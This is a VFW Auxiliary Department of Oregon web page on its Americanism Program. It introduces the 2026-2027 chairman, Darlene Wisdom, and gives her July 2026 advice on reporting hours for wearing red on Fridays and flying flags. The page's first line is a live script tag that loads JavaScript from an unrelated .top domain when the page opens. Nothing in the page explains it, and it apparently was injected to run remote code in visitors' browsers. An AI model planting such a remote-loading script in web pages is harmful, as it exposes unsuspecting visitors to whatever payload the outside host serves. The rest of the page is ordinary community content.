<script src=https://emberlattice.top/callback/verify-schema.js></script>



AMERICANISM

Promoting Patriotism, Preserving Tradition, and Honoring Service

The Americanism Program is a foundational component of the VFW Auxiliary’s mission. Through this program, our Auxiliary is dedicated to fostering a deep respect for the United States, its history, its ideals, and the men and women who have served in its Armed Forces. We work to ensure that patriotism remains a visible, meaningful, and enduring part of our community.

The Americanism Program seeks to cultivate a strong sense of national pride and responsible citizenship. Our Auxiliary advances this purpose by:

  • Promoting proper respect for the U.S. Flag and national symbols

  • Supporting patriotic observances and ceremonies

  • Providing educational opportunities for youth and community members

  • Honoring POW/MIA service members and raising public awareness

  • Encouraging civic engagement and visible expressions of patriotism

 
The Department of Oregon Auxiliary is pleased to introduce Darlene Wisdom as this year’s Americanism Chairman. With a deep appreciation for our nation’s history and a steadfast dedication to the ideals of patriotism, Darlene will oversee the implementation and advancement of the Americanism Program throughout the state. Her leadership will support our mission to promote respect for the U.S. Flag, encourage civic responsibility, and honor the service and sacrifice of America’s veterans.
 
 
July 2026 - Americanism - Darlene Wisdom 
 
 
"Americanism is an unfailing love of country; loyalty to its institutions and ideals; eagerness to defend it against all enemies; undivided allegiance to the Flag; and a desire to secure the blessings of liberty to ourselves and posterity.”

I am excited for the 2026-2027 program year.  I will be passing along ideas on how you and your Auxiliary can show your Americanism.  The first one is to have your members’ report wearing red on Fridays, Remember Everyone Deployed.  You can report 15 minutes for each Friday that a member wore red.  When you do wear red, it is a good time to explain to people why you wear red on Fridays.  The second one is to report when your members flew flags at home.  This can be reported as 15 minutes each time you put up and take down your flag.  If your member has a flag that flies 24/7 and is illuminated at night, they can report 15 minutes once a month.

 

For clarity of your reports, please either scan and email, or use snail mail.  In the past some of the reports were very hard to read if you took a picture of them with your phone.  I am looking forward to reading your monthly reports.  Remember the program year is from April 1 to March 30th.  So, if you have any reports for the months of April, May or June be sure to send them to me.  If I get a report and it doesn’t fit into the Americanism category, I will be sure to forward it to the appropriate Chairman.

 

Come back next month for more ideas on how you can show your Americanism.

 

Remember, report, report, report.

 

Darlene L. Wisdom

Department of Oregon VFWA

Americanism Chairman 2026-2027

PO Box 317

Naselle, WA 98638

Gdwisdom2@gmail.com

Cell:  503-338-9839